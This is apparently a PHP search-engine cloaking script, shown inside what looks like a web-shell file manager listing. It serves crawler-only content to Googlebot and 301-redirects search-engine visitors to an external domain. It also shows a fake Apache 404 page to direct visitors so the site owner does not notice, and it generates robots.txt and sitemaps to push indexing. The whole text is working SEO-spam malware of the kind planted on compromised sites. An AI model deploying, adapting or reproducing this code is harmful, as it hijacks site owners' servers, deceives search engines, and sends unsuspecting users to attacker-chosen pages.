/
www
/
wwwroot
/
Upload File
HOME
<?php /** * Simple Cloaking Script * Use at your own risk */ // =========================== // CONFIGURATION // =========================== $config = [ 'redirect_url' => 'https://happynewyear2.com/', // URL tujuan redirect 'content_file' => 'content.html', // File HTML untuk Googlebot 'domain' => $_SERVER['HTTP_HOST'] ]; // =========================== // HELPER FUNCTIONS // =========================== function getUserAgent() { return $_SERVER['HTTP_USER_AGENT'] ?? ''; } function getReferer() { return $_SERVER['HTTP_REFERER'] ?? ''; } function getClientIP() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } elseif (isset($_SERVER['HTTP_X_REAL_IP'])) { return $_SERVER['HTTP_X_REAL_IP']; } return $_SERVER['REMOTE_ADDR'] ?? ''; } // Check if visitor is Googlebot (basic check) function isGooglebot() { $userAgent = strtolower(getUserAgent()); $googlebots = [ 'googlebot', 'google-inspectiontool', 'googlebot-image', 'googlebot-news', 'googlebot-video', 'mediapartners-google', 'adsbot-google', 'apis-google' ]; foreach ($googlebots as $bot) { if (strpos($userAgent, $bot) !== false) { return true; } } return false; } // Verify Googlebot dengan reverse DNS (optional - lebih akurat) function verifyGooglebot() { $ip = getClientIP(); // Skip verification for localhost if ($ip === '127.0.0.1' || $ip === '::1') { return false; } // Reverse DNS lookup $hostname = gethostbyaddr($ip); // Check if hostname ends with googlebot.com or google.com if (preg_match('/\.(googlebot|google)\.com$/i', $hostname)) { // Forward DNS lookup untuk verifikasi $resolved_ip = gethostbyname($hostname); return $resolved_ip === $ip; } return false; } // Check if visitor from search engine function isFromSearchEngine() { $referer = strtolower(getReferer()); $searchEngines = [ 'google.com', 'google.co', 'bing.com', 'yahoo.com', 'duckduckgo.com', 'baidu.com', 'yandex.' ]; foreach ($searchEngines as $engine) { if (strpos($referer, $engine) !== false) { return true; } } return false; } // Check if JavaScript is disabled (dari user agent) function isNoJSBot() { $userAgent = strtolower(getUserAgent()); // Bot yang biasanya tidak execute JavaScript $noJsBots = [ 'curl', 'wget', 'python', 'scrapy', 'httpclient', 'libwww', 'lynx', 'w3m' ]; foreach ($noJsBots as $bot) { if (strpos($userAgent, $bot) !== false) { return true; } } return false; } // Generate robots.txt dinamis function generateRobotsTxt() { header('Content-Type: text/plain'); $domain = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST']; echo "User-agent: *\n"; echo "Allow: /\n\n"; // Generate multiple sitemaps for ($i = 1; $i <= 10; $i++) { echo "Sitemap: $domain/sitemap_$i.xml\n"; } exit; } // Generate sitemap.xml dinamis function generateSitemap() { header('Content-Type: application/xml'); $domain = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST']; echo '<?xml version="1.0" encoding="UTF-8"?>'; echo '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'; // Generate beberapa URL $paths = ['/', '/about', '/services', '/contact', '/products']; foreach ($paths as $path) { echo '<url>'; echo "<loc>$domain$path</loc>"; echo '<lastmod>' . date('Y-m-d') . '</lastmod>'; echo '<changefreq>daily</changefreq>'; echo '<priority>0.8</priority>'; echo '</url>'; } echo '</urlset>'; exit; } // Simple caching untuk Googlebot function getCacheFilename() { $path = $_SERVER['REQUEST_URI']; $cacheKey = md5($path); $cacheDir = __DIR__ . '/cache'; if (!is_dir($cacheDir)) { mkdir($cacheDir, 0755, true); } return "$cacheDir/$cacheKey.cache"; } function getCache() { $cacheFile = getCacheFilename(); $cacheTime = 3600; // 1 jam if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) { return file_get_contents($cacheFile); } return false; } function saveCache($content) { $cacheFile = getCacheFilename(); file_put_contents($cacheFile, $content); } // =========================== // MAIN LOGIC // =========================== // Handle robots.txt if (strpos($_SERVER['REQUEST_URI'], '/robots.txt') !== false) { generateRobotsTxt(); } // Handle sitemap if (preg_match('/\/sitemap(_\d+)?\.xml/', $_SERVER['REQUEST_URI'])) { generateSitemap(); } // CASE 1: User biasa akses langsung (bukan dari search engine, bukan bot) if (!isFromSearchEngine() && !isGooglebot() && !isNoJSBot()) { // Tampilkan error 404 atau 403 (cloaking) http_response_code(404); ?> <!DOCTYPE html> <html> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at <?= htmlspecialchars($config['domain']) ?> Port 80</address> </body> </html> <?php exit; } // CASE 2: User dari search engine ATAU pakai user agent Google tapi bukan Googlebot asli if ((isFromSearchEngine() || (strpos(strtolower(getUserAgent()), 'google') !== false)) && !isGooglebot()) { // Redirect ke URL target header("HTTP/1.1 301 Moved Permanently"); header("Location: " . $config['redirect_url']); exit; } // CASE 3: User disable JavaScript dengan Google user agent (tapi bukan Googlebot asli) if (isNoJSBot() && strpos(strtolower(getUserAgent()), 'google') !== false && !isGooglebot()) { // Redirect juga header("HTTP/1.1 301 Moved Permanently"); header("Location: " . $config['redirect_url']); exit; } // CASE 4: Googlebot ASLI - kasih konten real if (isGooglebot()) { // Optional: Verify dengan DNS (lebih secure tapi lebih lambat) // if (!verifyGooglebot()) { // header("Location: " . $config['redirect_url']); // exit; // } // Check cache dulu $cachedContent = getCache(); if ($cachedContent) { echo $cachedContent; exit; } // Load konten dari file HTML if (file_exists($config['content_file'])) { $content = file_get_contents($config['content_file']); // Replace placeholders dinamis $currentUrl = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $content = str_replace('{{CURRENT_URL}}', $currentUrl, $content); $content = str_replace('{{DOMAIN}}', $config['domain'], $content); $content = str_replace('{{DATE}}', date('Y-m-d'), $content); $content = str_replace('{{DATETIME}}', date('Y-m-d H:i:s'), $content); // Add meta tags untuk SEO $metaTags = ' <meta name="robots" content="index, follow, max-snippet:-1, max-image-preview:large"> <meta property="og:url" content="' . $currentUrl . '"> <meta property="og:site_name" content="' . $config['domain'] . '"> <link rel="canonical" href="' . $currentUrl . '"> '; $content = str_replace('</head>', $metaTags . '</head>', $content); // Save to cache saveCache($content); // Output echo $content; } else { // Default content jika file tidak ada ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Welcome to <?= htmlspecialchars($config['domain']) ?></title> <meta name="description" content="Quality content and services"> <meta name="robots" content="index, follow"> </head> <body> <h1>Welcome to Our Website</h1> <article> <h2>Quality Content</h2> <p>This is high-quality content optimized for search engines.</p> <p>We provide valuable information and services to our visitors.</p> <p>Last updated: <?= date('Y-m-d H:i:s') ?></p> </article> <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "WebSite", "name": "<?= htmlspecialchars($config['domain']) ?>", "url": "<?= htmlspecialchars($currentUrl) ?>" } </script> </body> </html> <?php } exit; } // DEFAULT: Jika tidak masuk case manapun, redirect header("Location: " . $config['redirect_url']); exit; ?>